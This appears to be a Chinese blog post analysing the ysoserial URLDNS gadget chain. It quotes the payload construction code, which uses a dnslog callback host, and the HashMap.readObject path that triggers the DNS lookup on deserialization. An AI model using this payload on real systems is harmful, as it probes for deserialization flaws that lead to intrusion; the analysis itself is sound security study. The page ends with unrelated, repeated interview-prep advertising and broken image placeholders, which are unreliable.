Java反序列化之ysoserial URLDNS模块分析,工厂是怎么面试的

final ObjectPayload payload = payloadClass.newInstance();

然后通过反射创建Class类对应的对象,走完这句代码,URLDNS对象创建完成。

final Object object = payload.getObject(“http://lyxhh.dnslog.cn”);

接着执行URLDNS对象中的getObject方法。

getObject方法中:

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler对象,该对象的作用,后面我们会详细说到。

接着:

HashMap ht = new HashMap();

创建了HashMap对象:

URL u = new URL(null, “http://lyxhh.dnslog.cn”, handler);

URL对象:

ht.put(u, “http://lyxhh.dnslog.cn”);

将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。

Reflections.setFieldValue(u, “hashCode”, -1);

通过反射机制 设置URL对象的成员变量hashCode值为-1,为什么要设置值为-1,这问题在反序列化时会详细说到。

将HashMap对象返回 return ht; ,接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out); 并将序列化的结果重定向到 dnslog.ser 文件中。

由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:

先执行默认的序列化操作:

接着 遍历HashMap,对HashMap中的key,value进行序列化。

综上所述,梳理下ysoserial payload,URLDNS 序列化的整个过程:

  • 首先 ysoserial 通过反射的方式,根据全限定类名 ysoserial.payloads.URLDNS ,获取对应的Class类对象,并通过Class类对象的 newInstance() 方法,获取URLDNS对象。

  • 接着执行URLDNS对象中的getObject方法。

  • 在getObject方法中,创建了URLStreamHandler 对象 URLStreamHandler handler = new SilentURLStreamHandler(); ,该对象会被URL对象引用。

  • 创建HashMap对象 HashMap ht = new HashMap(); ,URL对象 URL u = new URL(null, "http://lyxhh.dnslog.cn", handler); 。

  • 将URL对象作为HashMap中的Key,DNSLOG的地址作为HashMap中的值 HashMap.put(u, "http://lyxhh.dnslog.cn");

  • 通过反射的方式 Reflections.setFieldValue(u, "hashCode", -1); ,设置URL对象中的成员变量hashCode值为-1。

  • 返回HashMap对象。

  • 然后对HashMap对象进行序列化操作 Serializer.serialize(HashMap object, out);

整个序列化过程中,有几个问题: 1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。

反序列化分析

读取上述操作生成的 dnslog.ser 文件,执行反序列化,触发DNSLOG请求:

为什么HashMap的反序列化过程会发送DNSLOG请求呢?

在进行反序列化操作时,由于HashMap中重写了readObject方法,因此执行的反序列化方法是HashMap中的readObject方法,如下:

private void readObject(java.io.ObjectInputStream s)

throws IOException, ClassNotFoundException {

// Read in the threshold (ignored), loadfactor, and any hidden stuff

s.defaultReadObject(); // 执行默认的反序列化方法

reinitialize(); //初始化变量值

if (loadFactor <= 0 || Float.isNaN(loadFactor))

throw new InvalidObjectException("Illegal load factor: " +

loadFactor);

s.readInt(); // Read and ignore number of buckets

int mappings = s.readInt(); // Read number of mappings (size)

if (mappings < 0)

throw new InvalidObjectException("Illegal mappings count: " +

mappings);

else if (mappings > 0) { // (if zero, use defaults)

// Size the table using given load factor only if within

// range of 0.25...4.0

float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);

float fc = (float)mappings / lf + 1.0f;

int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?

DEFAULT_INITIAL_CAPACITY :

(fc >= MAXIMUM_CAPACITY) ?

MAXIMUM_CAPACITY :

tableSizeFor((int)fc));

float ft = (float)cap * lf;

threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?

(int)ft : Integer.MAX_VALUE);

@SuppressWarnings({"rawtypes","unchecked"})

Node<K,V>[] tab = (Node<K,V>[])new Node[cap];

table = tab;

// Read the keys and values, and put the mappings in the HashMap

for (int i = 0; i < mappings; i++) {

@SuppressWarnings("unchecked")

K key = (K) s.readObject(); // 遍历hashmap,进行反序列化操作,还原key值,这里的key值,是URL对象。

@SuppressWarnings("unchecked")

V value = (V) s.readObject(); // 还原value值,这里的value值,是dnslog的请求地址,http://lyxhh.dnslog.cn

putVal(hash(key), key, value, false, false); //对key进行hash计算,确保唯一,并构造Hashmap对象。

}

}

}

readObject中,先执行默认的反序列化方法,接着还原HashMap,并计算Key,如下:

这里我们跟进hash(key)方法中。

接着执行了 key.hashCode() ,而key是URL对象,因此执行的是URL对象中的hashCode方法,继续跟进。

在序列化操作时,已经通过反射设置了URL的hashCode等于-1,因此这里会直接进入到 handler.hashCode(this); 中。

hashCode方法中会执行 getHostAddress(URL u) 方法,方法中调用了 InetAddress.getByName(host); 函数,从而发送DNSLOG请求。

使用 InetAddress.getByName(host); ,发送DNSLOG请求。

综上所述,梳理下ysoserial payload,URLDNS 反序列化的整个过程:

  • 首先 HashMap 重写了readObject方法,因此在反序列化过程中,执行的反序列化方法是HashMap中的readObject方法。

  • 在HashMap中的readObject方法中,会对Key进行hash计算 key.hashCode() ,而Key是URL对象,执行URL对象的hashCode方法。

  • 在URL.hashCode方法中,当hashCode成员变量值为-1时,会执行URLStreamHandler.hashCode()方法。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Java开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Java开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注Java)
img

总结

谈到面试,其实说白了就是刷题刷题刷题,天天作死的刷。。。。。

为了准备这个“金三银四”的春招,狂刷一个月的题,狂补超多的漏洞知识,像这次美团面试问的算法、数据库、Redis、设计模式等这些题目都是我刷到过的

并且我也将自己刷的题全部整理成了PDF或者Word文档(含详细答案解析)

我的美团offer凉凉了?开发工程师(Java岗)三面结束等通知...

66个Java面试知识点

架构专题(MySQL,Java,Redis,线程,并发,设计模式,Nginx,Linux,框架,微服务等)+大厂面试题详解(百度,阿里,腾讯,华为,迅雷,网易,中兴,北京中软等)

我的美团offer凉凉了?开发工程师(Java岗)三面结束等通知...

算法刷题(PDF)

我的美团offer凉凉了?开发工程师(Java岗)三面结束等通知...

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

-1712733238741)]

66个Java面试知识点

架构专题(MySQL,Java,Redis,线程,并发,设计模式,Nginx,Linux,框架,微服务等)+大厂面试题详解(百度,阿里,腾讯,华为,迅雷,网易,中兴,北京中软等)

[外链图片转存中…(img-k3Br6VIT-1712733238741)]

算法刷题(PDF)

[外链图片转存中…(img-hIZI09s2-1712733238741)]

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-PmzKxCpS-1712733238741)]

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值